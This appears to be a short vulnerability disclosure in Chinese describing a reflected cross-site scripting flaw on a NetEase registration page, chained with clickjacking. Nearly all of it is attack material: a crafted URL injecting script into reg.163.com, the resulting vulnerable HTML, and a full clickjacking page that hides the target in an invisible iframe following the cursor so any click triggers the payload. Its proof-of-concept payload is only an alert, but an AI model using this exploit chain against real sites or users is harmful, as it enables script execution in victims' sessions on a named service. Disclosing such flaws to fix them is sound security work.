网易某分站反射型XSS（点击劫持＋浏览器通用）

reg.163.com/reg/confirm.jsp?login=');alert(document.domain)//

<li>1.<a href="javascript:void(0);" onclick="Core.sendMail('&#39;&#41;&#59;alert&#40;document.domain&#41;&#47;&#47;','urs','','http%3A%2F%2Freg.163.com%2F')" id="sendMailBtn">再次发送验证邮件</a></li>

<style>
 
 html, body {
 
   cursor: pointer;
 
 }
 
 
 
 #box, #box > * {
 
   position: absolute;
 
   width: 10px;
 
   height: 10px;
 
   border: 1px solid red;
 
   opacity: 0;
 
 }
 
 
 
 #victim {
 
   border: none;
 
 }
 
 </style>
 
 <div id="box">
 
   <iframe id="victim" src="http://reg.163.com/reg/confirm.jsp?login=xss1/&product=%29;alert%28document.domain%29//#sendMailBtn" scrolling="no"></iframe>
 
 </div>
 
 <script src="https://code.jquery.com/jquery-1.11.0.min.js"></script>
 
 <script>
 
 $(document).mousemove(function(e) {
 
   var x = e.pageX;
 
   var y = e.pageY;
 
   $('#box').css({left: x - 5, top: y - 5});
 
 });
 
 </script>